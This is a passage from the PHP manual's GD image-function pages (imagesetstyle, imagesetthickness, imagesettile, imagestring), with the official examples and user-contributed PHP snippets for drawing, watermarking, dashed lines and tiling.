        else if( $bytes_per_pixel == 4 )    // TARGA 32 - AAAAAAAA RRRRRRRR GGGGGGGG BBBBBBBB
        {
            imagesetpixel( $image, $x, $y, base_convert( bin2hex( strrev( substr($data, $pointer, $bytes_per_pixel-1))), 16, 10));
        }

        if(++$x == $width)
        {
            $y--;
            $x=0;
        }
       $pointer += $bytes_per_pixel;
    }

    return $image;
}

?>
T. Dekker 30-Nov-2005 02:53
In reply to weitheism at gmail.com:

You should probably have used ImageAlphaBlending($image, false); in your early attempts. This way any paint/fill operation replaces the alpha value of the destination.
Brian Vaughn [php at boynamedbri dot com] 28-Aug-2005 12:00
I looked, but was unable to find any example code to watermark an image with a watermark that contained alpha transparency. So the following class does just that. As a parameter, it takes 2 image objects: the main image, and the watermark image (which can be a gif, png, whatever) - and optionally, an alpha setting (0-100% alpha for the watermark image). It then creates and returns a new image with the alpha-transparent watermark imposed, center-aligned, over the larger image.

<?php
class watermark{

    function create_watermark( $dst_img, $watermark_img, $alpha = 100 ) {
        $alpha    /= 100;    # convert 0-100% user-friendly alpha to decimal

        # calculate our images dimensions
        $dst_img_w    = imagesx( $dst_img );
        $dst_img_h    = imagesy( $dst_img );
        $watermark_img_w    = imagesx( $watermark_img );
        $watermark_img_h    = imagesy( $watermark_img );

        # create new image to hold merged changes
        $return_img    = imagecreatetruecolor( $dst_img_w, $dst_img_h );
#        $return_img    = imagecreate( $dst_img_w, $dst_img_h );

        # determine center position coordinates
        $dst_img_min_x    = floor( ( $dst_img_w / 2 ) - ( $watermark_img_w / 2 ) );
        $dst_img_max_x    = ceil( ( $dst_img_w / 2 ) + ( $watermark_img_w / 2 ) );
        $dst_img_min_y    = floor( ( $dst_img_h / 2 ) - ( $watermark_img_h / 2 ) );
        $dst_img_max_y    = ceil( ( $dst_img_h / 2 ) + ( $watermark_img_h / 2 ) );

        # walk through main image
        for( $y = 0; $y < $dst_img_h; $y++ ) {
            for( $x = 0; $x < $dst_img_w; $x++ ) {
                $return_color    = NULL;

                # determine the correct pixel location within our watermark
                $watermark_x    = $x - $dst_img_min_x;
                $watermark_y    = $y - $dst_img_min_y;

                # fetch color information for both of our images
                $dst_rgb = imagecolorsforindex( $dst_img, imagecolorat( $dst_img, $x, $y ) );

                # if our watermark has a non-transparent value at this pixel intersection
                # and we're still within the bounds of the watermark image
                if (    $watermark_x >= 0 && $watermark_x < $watermark_img_w &&
                            $watermark_y >= 0 && $watermark_y < $watermark_img_h ) {
                    $watermark_rbg = imagecolorsforindex( $watermark_img, imagecolorat( $watermark_img, $watermark_x, $watermark_y ) );

                    # using image alpha, and user specified alpha, calculate average
                    $watermark_alpha    = round( ( ( 127 - $watermark_rbg['alpha'] ) / 127 ), 2 );
                    $watermark_alpha    = $watermark_alpha * $alpha;

                    # calculate the color 'average' between the two - taking into account the specified alpha level
                    $avg_red        = $this->get_ave_color( $dst_rgb['red'],        $watermark_rbg['red'],        $watermark_alpha );
                    $avg_green    = $this->get_ave_color( $dst_rgb['green'],    $watermark_rbg['green'],    $watermark_alpha );
                    $avg_blue        = $this->get_ave_color( $dst_rgb['blue'],    $watermark_rbg['blue'],        $watermark_alpha );

                    # calculate a color index value using the average RGB values we've determined
                    $return_color    = $this->imagegetcolor( $return_img, $avg_red, $avg_green, $avg_blue );

                # if we're not dealing with an average color here, then let's just copy over the main color
                } else {
                    $return_color    = imagecolorat( $dst_img, $x, $y );

                } # END if watermark

                # draw the appropriate color onto the return image
                imagesetpixel( $return_img, $x, $y, $return_color );

            } # END for each X pixel
        } # END for each Y pixel

        # return the resulting, watermarked image for display
        return $return_img;

    } # END create_watermark()

    # average two colors given an alpha
    function get_ave_color( $color_a, $color_b, $alpha ) {
        return round( ( ( $color_a * ( 1 - $alpha ) ) + ( $color_b    * $alpha ) ) );
    } # END get_ave_color()

    # return closest pallette-color match for RGB values
    function imagegetcolor($im, $r, $g, $b) {
        $c=imagecolorexact($im, $r, $g, $b);
        if ($c!=-1) return $c;
        $c=imagecolorallocate($im, $r, $g, $b);
        if ($c!=-1) return $c;
        return imagecolorclosest($im, $r, $g, $b);
    } # EBD imagegetcolor()

} # END watermark API
?>
weitheism at gmail.com 08-Aug-2005 12:22
I was looking for a way to actually DELETE pixels or squares or parts of an image from an image resource, and at first I thought imagesetpixel would do the trick. Unfortunately, it merely paints over that one pixel, and as far as I knew, php didn't have any native way of deleting sections out of your image - so this little method should take care of deleting rectangular parts of your pictures!

function deleteRectangle(&$oldImage,$leftX,$leftY,$rightX,$rightY)
    {
        // Since php has no native way of delete parts of images
        // We have to divide the image into four different parts and then copy them manually to a new
        // image

        $xSize = imagesx($oldImage);
        $ySize = imagesy($oldImage);

        // Divides the image into four sections to copy
        $imagesection = array();
        $imagesection[] = array(0,0,$leftX,$ySize);
        $imagesection[] = array($leftX,0,$rightX+1,$leftY);
        $imagesection[] = array($leftX,$rightY+1,$rightX+1,$ySize);
        $imagesection[] = array($rightX+1,0,$xSize,$ySize);

        // Create the new, copied image
        $newImage = imagecreatetruecolor($xSize,$ySize);
        // Vital for transparency
        imagesavealpha($newImage,true);

        // Fills the background a transparent color
        $transparentBackground = imagecolorallocatealpha($newImage,255,255,255,127);
        imagefill($newImage,0,0,$transparentBackground);

        // Copies each of the four imagesections into their respective old positions
        for($i = 0;$i<count($imagesection);$i++)
imagecopyresampled($newImage,$oldImage, $imagesection[$i][0],$imagesection[$i][1], $imagesection[$i][0],$imagesection[$i][1], $imagesection[$i][2]-$imagesection[$i][0], $imagesection[$i][3]-$imagesection[$i][1], $imagesection[$i][2]-$imagesection[$i][0], $imagesection[$i][3]-$imagesection[$i][1]);

        // Alternately you can cycle through each pixel in an image and see if that pixel is an the area
        // but that could be more intensive
        imagedestroy($oldImage);

        // Sets the old image equal to the new, cleared image
        $oldImage = $newImage;
    }

It was made with a transparent background in mind, but you could easily change that by changeing imagecreatetruecolor to imagecreate and deleting the code that deals with transparency. Hope it helps!
d [AT] sprid [DOT] de 14-Jul-2005 02:28
This code does generate a RGB-cube (with or without borders). Because its only rendering the visible pixels its clearly fast (approx 1 up to 2 seconds). With changing the $order-variable you can see the cube from different perspectives. Entering double or tribble values (like rrg or ggg) will give you other specs of single channels. Send any sugestions to my email.

<?php
$borders = true;
$order   = 'rgb';

set_time_limit(0);
$img = imageCreateTrueColor(510, 510);

$bg = imageColorAllocate($img, 255, 255, 255);
$black = imageColorAllocate($img, 255, 255, 255);

for ($r=0; $r<256; $r++) {
  for ($g=0; $g<256; $g++) {
    for ($b=0; $b<256; $b++) {
      $rN = ${$order{0}};
      $gN = ${$order{1}};
      $bN = ${$order{2}};

      $col = imageColorAllocate($img, $rN, $gN, $bN);
      imagesetpixel($img, $b+($r*0.5)+(255/4), $g+($r*0.5)+(255/4), $col);
      if ($r < 255 && $g > 0) break;
    }
  }

  if ($borders) {
    imagesetpixel($img, ($r*0.5+(255/4)), ($r*0.5)+(255/4),     $black);
    imagesetpixel($img, ($r*0.5)+255+(255/4), ($r*0.5)+(255/4), $black);
    imagesetpixel($img, ($r*0.5)+(255/4), ($r*0.5)+255+(255/4), $black);
  }
}

if ($borders) {
  imageline($img, 255/4, 255/4, 255+(255/4), 255/4, $black);
  imageline($img, 255/4, 255/4, 255/4, 255+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5+(255/4), $black);
  imageline($img, 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
  imageline($img, 255*0.5 + 509*0.5+(255/4), 255*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), 255*0.5 + 509*0.5+(255/4), $black);
}

header("Content-Type: image/png");
imagepng($img);
imagedestroy($img);
?>
bpgordon at gmail dot com 23-May-2005 03:18
This code converts a block of text to an image so that each character in the block defines one pixel in the image and each line in the block (delimited by \n's) builds one whole row of pixels in the image.
Usage: Place a 0 to create a white pixel. Place a 1 to create a black pixel.
Example: Entering the following digits (including the line breaks) will create a 3x3 square with a 1-pixel white border.
00000
01110
01110
01110
00000

<?php
if (isset($_POST["sendtxt"])) {
header("Content-type: image/png");
$splitted = explode("\n", $_POST["sendtxt"]);
foreach ($splitted as $tcurkey => $curval) $tsplitted[$tcurkey] = rtrim($curval);
$splitted = $tsplitted; //referencing isn't working for some reason...
$image = imagecreate(strlen($splitted[1]), count($splitted));
$white = imagecolorallocate($image, 0xFF, 0xFF, 0xFF); // don't delete this line
$black = imagecolorallocate($image, 0x00, 0x00, 0x00);
foreach($splitted as $curkey => $opelement) {
$subsplitten = preg_split("//", $opelement);
foreach($subsplitten as $subcurkey => $subopelement) {
if ($subopelement == "1" || $subopelement == ".") imagesetpixel($image, $subcurkey-1, $curkey, $black);
}
}
imagepng($image);
imagedestroy($image);
} else {
echo <<<end
<table width="1" border="0"><td>
<form method="post" action="#">
<textarea cols="30" rows="7" name="sendtxt"></textarea><br>
<input type="submit" value="render">
</form></td></table>
end; }
?>
odin<spam inside(C)>dtdm.org 05-Oct-2004 05:36
Just a simple implementation of the Bresenham algorythm (educational purpose....)

You can find more about this and many other tutorials for gfx there: http://brand107.home.comcast.net/pc-gpe/

<?php

/****************************************************
     Bresenham Line Algorythm PHP/GD implementation
****************************************************/
function line($im,$x1,$y1,$x2,$y2,$color){

    $deltax=abs($x2-$x1);
    $deltay=abs($y2-$y1);

    if ($deltax>$deltay) {
     $numpixels=$deltax+1;
     $d=(2*$deltay)-$deltax;
     $dinc1=$deltay << 1; $dinc2=($deltay-$deltax) << 1;
     $xinc1=1; $xinc2=1;
     $yinc1=0; $yinc2=1;
    } else {
     $numpixels=$deltay+1;
     $d=(2*$deltax)-$deltay;
     $dinc1=$deltax << 1; $dinc2=($deltax-$deltay)<<1;
     $xinc1=0; $xinc2=1;
     $yinc1=1; $yinc2=1;
    }

    if ($x1>$x2) {
     $xinc1=-$xinc1;
     $xinc2=-$xinc2;
    }

    if ($y1>$y2) {
     $yinc1=-$yinc1;
     $yinc2=-$yinc2;
    }
    $x=$x1;
    $y=$y1;

    for ($i=0;$i<$numpixels;$i++) {
     imagesetpixel($im,$x,$y,$color);
     if ($d<0) {
      $d+=$dinc1;
      $x+=$xinc1;
      $y+=$yinc1;
     } else {
      $d+=$dinc2;
      $x+=$xinc2;
      $y+=$yinc2;
     }
    }
return ;
}

?>
richard at mf2fm dot co dot uk 24-Aug-2004 02:06
Here is a function that takes an image ($im) and returns it with the contrast maximised...

<?php
function contrast($im) {
    $brightness=0;
    $maxb=0;
    $minb=255;
    $imagesize=getimagesize($im);
    $w=$imagesize[0];
    $h=$imagesize[1];
    for ($x=0; $x<$w; $x++) {
        for ($y=0; $y<$h; $y++) {
            $rgb=imagecolorat($im, $x, $y);
            $rgb=imagecolorsforindex($im, $rgb);
            $grey=0.2125*$rgb['red']+
                0.7154*$rgb['green']+
                0.0721*$rgb['blue'];
            $brightness+=$grey;
            if ($grey>$maxb) $maxb=$grey;
            if ($grey<$minb) $minb=$grey;
        }
    }
    $brightness=$brightness/($w*$h);
    $minb=$brightness/($brightness-$minb);
    $maxb=(255-$brightness)/($maxb-$brightness);
    $contrast=min($minb, $maxb);
    for ($x=0; $x<$w; $x++) {
        for ($y=0; $y<$h; $y++) {
            $rgb=imagecolorat($im, $x, $y);
            $rgb=imagecolorsforindex($im, $rgb);
            imagesetpixel($im, $x, $y,
                65536*floor(min($rgb['red']*$contrast, 255))+
                256*floor(min($rgb['green']*$contrast, 255))+
                floor(min($rgb['blue']*$contrast, 255)));
        }
    }
    return ($im);
}
?>

An example of usage might be:
<?php
$imagefile="/path/filename";
$image=imagecreatefromjpeg($imagefile);
$image=contrast($image);
imagejpeg($image, $imagefile);
?>
chris at drunkenpirates dot co dot uk 13-Sep-2003 05:50
<?php

/*
An example combining the use of ImageColorAllocate, Imagesetpixel, Imagecopyresized and some basic Trig

By chris@drunkenpirates.co.uk

*/

Header("Content-type: image/png");

$height = 128;
$width = 128;

$imA = ImageCreate($width, $height);
$imB = ImageCreate($width*4, $height*4);
$bckA = ImageColorAllocate($imA, 0,0,0);
$bckB = ImageColorAllocate($imB, 0,0,0);

//GENERATE GRAY SCALE PALLETE

for($c=0;$c<256;$c++){
                ImageColorAllocate($imA, $c, $c, $c);
                }

//PRODUCE DATA

$m=rand(0,10);
for($c=0;$c<128;$c++){
                $s=  (sin( deg2rad($c*360*$m/128) )+1)*127;
                $col_arr[$c]=$s;
                }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgA[$x][$y]=$col_arr[$x];
                }
        }
for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgB[$x][$y]=$col_arr[$y];
                }
        }

//SET PIXELS

for($y=0;$y<$height;$y++){
        for($x=0;$x<$width;$x++){
                $imgC[$x][$y]=$imgA[$x][$y]+$imgB[$x][$y];
                $s=$imgC[$x][$y]/2;
                Imagesetpixel($imA,$x,$y,$s);
                }
        }

//RESIZE IMAGE FOR DISPLAY

Imagecopyresized ($imB, $imA, 0, 0, 0, 0, $width*4, $height*4, $width, $width);
ImagePNG($imB);
?>
dino at nordmark dot dk 31-May-2002 04:28
The example above diden't work, because of some errors.
This should work and it's also faster because there is only one 512*512 loop. (but it is still very slow)

<?
$filename="lena.raw";
$width=512;
$height=512;
$fp=fopen($filename, "r");
$contents=fread($fp,filesize($filename));
fclose($fp);

$image=imagecreate($width,$height);

// create greyscale palette because the image is limited to 256 colors
for ($i=0;$i<256;$i++){ ImageColorAllocate($image,$i,$i,$i);}

// This is slow, but probably the only way
for ($i=0;$i<512;$i++){
   for ($j=0;$j<512;$j++){
   imagesetpixel ($image,$i,$j,ord($contents[$i+$j*512]));
   }
}

imagepng($image,"result.png");
imagedestroy($image);

echo "<img src=result.png></img>";
?>

--

Dino Patti


设定线条的样式

  • ? imagesetpixel
  • imagesetthickness ?
  • PHP Manual
  • GD 和图像处理 函数
  • 设定线条的样式

imagesetstyle

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagesetstyle — 设定线条的样式

说明

imagesetstyle(GdImage $image, array $style): bool

imagesetstyle() 设定所有线条函数（例如 imageline() 和 imagepolygon()）在使用特殊颜色 IMG_COLOR_STYLED 或者颜色为 IMG_COLOR_STYLEDBRUSHED 绘制图像线条的样式。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

style

像素颜色组成的数组。可以通过常量 IMG_COLOR_TRANSPARENT 来添加透明像素。注意 style 不能是空 array。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

下面的示例脚本在画布上从左上角到右下角画一行虚线：

Example #1 imagesetstyle() 例子

<?php
header("Content-type: image/jpeg");
$im = imagecreatetruecolor(100, 100);
$w = imagecolorallocate($im, 255, 255, 255);
$red = imagecolorallocate($im, 255, 0, 0);

/* 画一条虚线，5 个红色像素，5 个白色像素 */
$style = array($red, $red, $red, $red, $red, $w, $w, $w, $w, $w);
imagesetstyle($im, $style);
imageline($im, 0, 0, 100, 100, IMG_COLOR_STYLED);

/* 用 imagesetbrush() 和 imagesetstyle 画一行笑脸 */
$style = array($w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $w, $red);
imagesetstyle($im, $style);

$brush = imagecreatefrompng("http://www.libpng.org/pub/png/images/smile.happy.png");
$w2 = imagecolorallocate($brush, 255, 255, 255);
imagecolortransparent($brush, $w2);
imagesetbrush($im, $brush);
imageline($im, 100, 0, 0, 100, IMG_COLOR_STYLEDBRUSHED);

imagejpeg($im);
imagedestroy($im);
?>

以上示例的输出类似于：

Output of example : imagesetstyle()

参见

  • imagesetbrush() - 为线条设置笔刷图像
  • imageline() - 绘制直线

User Contributed Notes

dazbert 21-Mar-2017 05:26
To clarify, for lines where the thickness is greater than 1, the total length of the $style array needs to be an exact divisor of the length of the line.

This is because the pattern is repeated lengthways and wraps onto the second row of pixels, causing staggering to occur.

So if you have 5 red and 5 white pixels, and you want a line length of 55 pixels, either change the length to a multiple of 10, or change the dashes to, say, 6 red and 5 white.
Anonymous 22-Oct-2012 04:03
a shortcut for basic dashed lines, making it easy to adjust the lengths:

<?php

$length1 = 20;
$length2 = 10;
$style = array_merge(array_fill(0, $length1, $red), array_fill(0, $length2, $w));
imagesetstyle($im, $style);

?>
php at imperium dot be 06-Aug-2010 07:05
Be aware that styles are applied towards the width of the line instead of linear.
To convert a style to be used for thick lines you can use the function below:

<?php
/*
ImageStyleThicken(<aStyle>,<iThickness>) --> <aThickStyle>

<aStyle> is the style array for a thickness of 1 (see imagesetstyle()).
<iThickness> is the new thickness to apply (see imagesetthickness()).

<aThickStyle> is the style array suitable for the given thickness.
*/
function ImageStyleThicken($_1,$_2) {
    $a = array();
    foreach ($_1 as $x) {
        $i = $_2;
        do $a[] = $x; while (--$i>0); }
    return $a;
}
?>
Wander 13-Dec-2007 11:12
Function to make a line with random fading:

<?php
    function fading_line($img,$sx,$sy,$ex,$ey){
        $r=rand(0,5);$g=rand(0,5);$b=rand(0,5);
        $l=sqrt((($ex-$sx)*($ex-$sx))+(($ey-$sy)*($ey-$sy)));
        for($i=0;$i<$l;$i++){
            $a = array(255-((255/$l)*$i), 255,0,(255/$l)*$i/2,(255/$l)*$i,(255-((255/$l)*$i))/2);
            $style[]=imagecolorallocate($img,$a[$r],$a[$g],$a[$b]);
        }
        imagesetstyle($img,$style);
        imageline($img,$sx,$sy,$ex,$ey,IMG_COLOR_STYLED);
    }

    fading_line($img,10,20,490,40);    // image, start x, start y, end x, end y
?>
Michael_Todd_335 at yahoo dot com 27-Jun-2007 09:40
Watch out! If you pass imagesetstyle() an empty array as the second argument, it will crash your server!
I was messing with it just earlier and accidentally did so, and the page took a good minute to process, when my Apache server came up with the good ol' Windows 'Send Error Report' window.
Cruz at FtUC dot net 15-Jan-2006 03:45
When lines drawn with imagesetstyle seem to produce a thin white line only, make sure antialiasing is disabled.

<?
  imageantialias($im, false);
  $style = array($gridxcolor, $gridxcolor, IMG_COLOR_TRANSPARENT, IMG_COLOR_TRANSPARENT);
  imagesetstyle($im, $style);
  imageline($im, $x, 0, $x, $ymax+5, IMG_COLOR_STYLED);
  imageantialias($im, true);
?>

Setstyle and Antialias don't go together.
zackbloom at gmail dot com 06-Dec-2005 02:44
Use this to set the style to any combination of pixels.
You can pass as many modifiers as you wish.
Use the format [num]r[red]g[green]b[blue].

For example:

$im=dashed($im,"4r255g0b0","2r0g255b0","5r0g0b255");
imageline($im, 0, 0, 600, 600, IMG_COLOR_STYLED);

function dashed($im){
$size = func_num_args();
for($i = 0; $i < $size; $i++){
$arg = func_get_arg($i);
if(!is_resource($arg)){
$r=substr($arg,strpos($arg,"r")+1,
strpos($arg,"g")-strpos($arg,"r")-1);
$g=substr($arg,strpos($arg,"g")+1,
strpos($arg,"b")-strpos($arg,"g")-1);
$b=substr($arg,strpos($arg,"b")+1,
strlen($arg)-strpos($arg,"b"));
$color = imagecolorallocate($im,$r,$g,$b);
$x = substr($arg,0,strpos($arg,"r"));
$vals[$i] = array_fill(0,$x,$color);
}
}
for($k=0;$k<count($vals)+1;$k++)
if(array_key_exists($k,$vals)) $prop=array_merge($prop,$vals[$k]);
imagesetstyle($im, $prop);
return $im;
}


设定画线的粗细

  • ? imagesetstyle
  • imagesettile ?
  • PHP Manual
  • GD 和图像处理 函数
  • 设定画线的粗细

imagesetthickness

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagesetthickness — 设定画线的粗细

说明

imagesetthickness(GdImage $image, int $thickness): bool

imagesetthickness() 将绘制矩形、多边形、圆弧等绘制的线条粗细设置为 thickness 像素。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

thickness

粗细，以像素为单位。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagesetthickness() 示例

<?php
// Create a 200x100 image
$im = imagecreatetruecolor(200, 100);
$white = imagecolorallocate($im, 0xFF, 0xFF, 0xFF);
$black = imagecolorallocate($im, 0x00, 0x00, 0x00);

// Set the background to be white
imagefilledrectangle($im, 0, 0, 299, 99, $white);

// Set the line thickness to 5
imagesetthickness($im, 5);

// Draw the rectangle
imagerectangle($im, 14, 14, 185, 85, $black);

// Output image to the browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

以上示例的输出类似于：

User Contributed Notes

gmail.com@mspreij 15-Apr-2016 01:11
As you can see in the example image, the left and right sides are 1 px wider than they should be, this is the case for every width > 1.
Wrote this function to fix that bit.. probably not a drop-in replacement though. It draws a rectangle *around* the given coordinates, for any width line.

<?php
// draw a $width-wide line AROUND the given coordinates, keeping in mind 0,0,1,1 yields a 2×2 square
function imagelinerectangle($img, $x1, $y1, $x2, $y2, $color, $width=1) {
    imagefilledrectangle($img, $x1-$width, $y1-$width, $x2+$width, $y1-1, $color);
    imagefilledrectangle($img, $x2+1, $y1-$width, $x2+$width, $y2+$width, $color);
    imagefilledrectangle($img, $x1-$width, $y2+1, $x2+$width, $y2+$width, $color);
    imagefilledrectangle($img, $x1-$width, $y1-$width, $x1-1, $y2+$width, $color);
}
?>
azinkey at gmail dot com 30-Jul-2013 10:51
thanks circle14,

just change the line & see its solved what we need for ellipse

while ($line < $thickness) {
        $line++;
        $elipse_w--;
        imageellipse($image, $pos_x, $pos_y, $elipse_w, $elipse_h, $color);
        $elipse_h--;
    }
fred at nowhere dot fr 10-Oct-2009 12:05
One thing worse to mention is that imagesetthikness() works on the next object you draw.
For ex : you can draw a grid within a grapg with a thickness of 1

by invoking imagesetthickness($image, 1);

... script to draw your grid...

and then invoke imagesetthikness with a draw your graph lines with a thickness of 3
imagesetthickness($image, 3);
... script to draw your graph lines...

Hope this helps...
jean-raymond dot chauviere at gmail dot com 30-Jun-2009 01:20
An easier to manage thickness is, before to draw in the ellipse to play with 2 ellipse with different color :

<?php
        imagefilledellipse  ($this->image,60,42,57,57,$drawColor);
        imagefilledellipse  ($this->image,60,42,45,45,$backColor);
?>

The first line draw a filled ellipse with the wanted color, and the 2nd one, draw an ellipse with the background color from the same center, but is smaller.

The drawback of this method is that you erase everything in the middle of the ellipse.
admin at circle14 dot net 01-Feb-2009 05:33
Here is a custom function I wrote that addresses the line thickness issues with ellipses :

<?php
function draw_oval ($image, $pos_x, $pos_y, $elipse_width, $elipse_height, $color, $px_thick) {
    $line = 0;
    $thickness = $px_thick;
    $elipse_w = $elipse_width;
    $elipse_h = $elipse_height;
    while ($line < $thickness) {
        imageellipse($image, $pos_x, $pos_y, $elipse_w, $elipse_h, $color);
        $line++;
        $elipse_w--;
        $elipse_h--;
    }
}
?>

I hope you find this useful.
bpatru at gmail dot com 28-Sep-2008 01:01
Apparently imagesetthickness doesn't work if antialiasing is set to true.
baldurien at bbnwn dot eu 11-Mar-2008 04:28
The way that imagesetthickness works with imagerectangle() is pretty strange.

<?php
imagesetthickness(1);
imagerectangle($im, 10, 10, 50, 50, $red);
?>

This will draw a 41x41 square (because gd need the bottom right pixel, inclusive. 50 should get replaced by 49). This will "work" like:

<?php
imageline($im, 10, 10, 10, 50, $red);
imageline($im, 10, 10, 50, 10, $red);
imageline($im, 50, 10, 50, 50, $red);
imageline($im, 10, 50, 50, 50, $red);
?>

The second example:

<?php
imagesetthickness(2);
imagerectangle($im, 10, 10, 50, 50, $red);
?>

This will draw a 43x43 square because the border (thickness) is set to 2. *however* this is not a "regular" border of 2 pixels around the 41x41 original square!

On the left and right, there will be a thickness of 3, while there we be a thickness of 2.

If you take the imageline example, but set the thickness before to 2, this will *almost* do the trick: the left most pixel of the square will not be drawn.

To conclude:

1) do not forget that (width, height) of drawn rectangle is (x2-x1+1, y2-y1+1)
2) thickness is bad implemented (or at least, the behavior i s not documented) on rectangle, as the left/right thickness is not the wanted one.
3) 4*imageline() should do the trick, but after "patching" the top left pixel.
ab at cd dot com 27-Jun-2007 04:05
Note: Also, for me (working under PHP 5.0.2) this function ONLY seems to work with imageline...
-private- 28-Mar-2007 01:01
There is a known bug. Imagesetthickness is NOT working on ellipse.


设置要填充的平铺图像

  • ? imagesetthickness
  • imagestring ?
  • PHP Manual
  • GD 和图像处理 函数
  • 设置要填充的平铺图像

imagesettile

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagesettile — 设置要填充的平铺图像

说明

imagesettile(GdImage $image, GdImage $tile): bool

当使用特殊颜色 IMG_COLOR_TILED时，imagesettile()
设置所有区域填充函数（比如 imagefill()
和 imagefilledpolygon()）要使用的平铺图像。

平铺是指使用重复模式填充区域的图像。任何 GD 图像都可以用于平铺，并且通过使用 imagecolortransparent() 来设定平铺图像的透明颜色索引，可以创建允许底层区域的某些部分透过的平铺。

Caution

平铺完成后不需要采取什么特殊动作，但如果要销毁平铺图像（或让 PHP 销毁），不能使用 IMG_COLOR_TILED 颜色，除非设置了新的平铺图像。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

tile

用作平铺的图像对象。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | image 和 tile 现在需要 GdImage 实例；之前需要 resource。

示例

Example #1 imagesettile() 示例

<?php
// Load an external image
$zend = imagecreatefromgif('./zend.gif');

// Create a 200x200 image
$im = imagecreatetruecolor(200, 200);

// Set the tile
imagesettile($im, $zend);

// Make the image repeat
imagefilledrectangle($im, 0, 0, 199, 199, IMG_COLOR_TILED);

// Output image to the browser
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
imagedestroy($zend);
?>

以上示例的输出类似于：

User Contributed Notes

onion at ooer dot com 07-Nov-2005 12:31
If you're using a tile image that has some form of transparency you'll need to make sure your destination image is set to use alpha blending. By default it will be, but if for any reason you've changed it you'll need to do:

imagealphablending($image,true);

before any operation using IMG_COLOR_TILED.
aquilo at xtram dot net 01-Jun-2004 06:30
There is very little information about this function so I thought I'd add a few notes I found while trying to get this

working.

First make sure your version of PHP is above 4.3.2 I spent an hour searching goggles 13000+ mirrors of this same page and

finally found the info I needed at AltaVista, there is a bug in PHP 4.3.2 that makes this none functional.

if your creating the base image you need to create it with imageCreateTrueColor() if your using a PNG with transparency, I

found even nullifying the PNG's transparency with GD doesn't work. the tiling PNG has to be created without transparency to work with imageCreate(). but from what I've seen imageCreateFromXXX() can use transparent and nonetransparent PNG's.

here is an example.
<?php
    $diagramWidth = 300;
    $diagramHeight = 50;

    $image = imageCreateTrueColor ($diagramWidth, $diagramHeight);
    $imagebg = imageCreateFromPNG ('tile.png'); // transparent PNG

    imageSetTile ($image, $imagebg);
    imageFilledRectangle ($image, 0, 0, $diagramWidth, $diagramHeight, IMG_COLOR_TILED);

    $textcolor1 = imageColorAllocate ($image, 80, 80, 80);
    $textcolor2 = imageColorAllocate ($image, 255, 255, 255);

    imageString ($image, 3, 10, 20, 'Transparent PNG Tile Test...', $textcolor1);
    imageString ($image, 3,  9, 19, 'Transparent PNG Tile Test...', $textcolor2);

    Header("Content-type: image/png");
    imagePNG ($image);

    imagedestroy ($image);
    imagedestroy ($imagebg);
?>

hope this helps someone else!
Aquilo


水平绘制字符串

  • ? imagesettile
  • imagestringup ?
  • PHP Manual
  • GD 和图像处理 函数
  • 水平绘制字符串

imagestring

(PHP 4, PHP 5, PHP 7, PHP 8)

imagestring — 水平绘制字符串

说明

imagestring(
GdImage $image,
GdFont|int $font,
int $x,
int $y,
string $string,
int $color
): bool

在指定坐标处水平绘制 string。

参数

image

由图象创建函数(例如imagecreatetruecolor())返回的 GdImage 对象。

font

取值对于内建的 latin2 编码字体可以是：1、2、3、4、5(更高的数字对应更大的字体)， 或是通过 imageloadfont() 返回的 GdFont 实例。

x

左下角的 x 坐标。

y

左下角的 y 坐标。

string

要写入的字符串。

color

颜色标识符使用 imagecolorallocate() 创建。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | font 参数现在接受 GdFont 实例和 int，之前仅接受 int。
8.0.0 | image 现在需要 GdImage 实例；之前需要有效的 gd resource。

示例

Example #1 imagestring() 示例

<?php
// 创建 100*30 图像
$im = imagecreate(100, 30);

// 白色背景和蓝色文字
$bg = imagecolorallocate($im, 255, 255, 255);
$textcolor = imagecolorallocate($im, 0, 0, 255);

// Write the string at the top left
imagestring($im, 5, 0, 0, 'Hello world!', $textcolor);

// Output the image
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

以上示例的输出类似于：

参见

  • imagestringup() - 垂直绘制字符串
  • imageloadfont() - 载入新字体
  • imagettftext() - 用 TrueType 字体向图像写入文本

User Contributed Notes

wheberson dot com dot br at gmail dot com 02-May-2019 05:55
// Convert e-mail to image (png)
function convertEmailToImg ($aValue, $aRed, $aGreen, $aBlue, $aAlphaF=0, $aAlphaB=127, $aFontSize=4)

{
    $img= imagecreatetruecolor (imagefontwidth ($aFontSize) * strlen ($aValue), imagefontheight ($aFontSize));
    imagesavealpha ($img, true);
    imagefill ($img, 0, 0, imagecolorallocatealpha ($img, 0, 0, 0, $aAlphaB));
    imagestring ($img, $aFontSize, 0, 0, $aValue, imagecolorallocatealpha ($img, $aRed, $aGreen, $aBlue, $aAlphaF));
    ob_start ();
    imagepng ($img);
    imagedestroy ($img);
    return base64_encode (ob_get_clean ());
}

// Example
$imgString= convertEmailToImg ('contact@example.com', 0, 0, 255, 0, 127, 4);
Booteille 14-Jan-2015 12:56
Here is a function with similar declaration of imagestring() but who handles whitespaces (It creates new lines and 4 spaces instead of \n and \t) and image's size limits

<?php

/**
 * @author Booteille
 *
 * @param resource $image
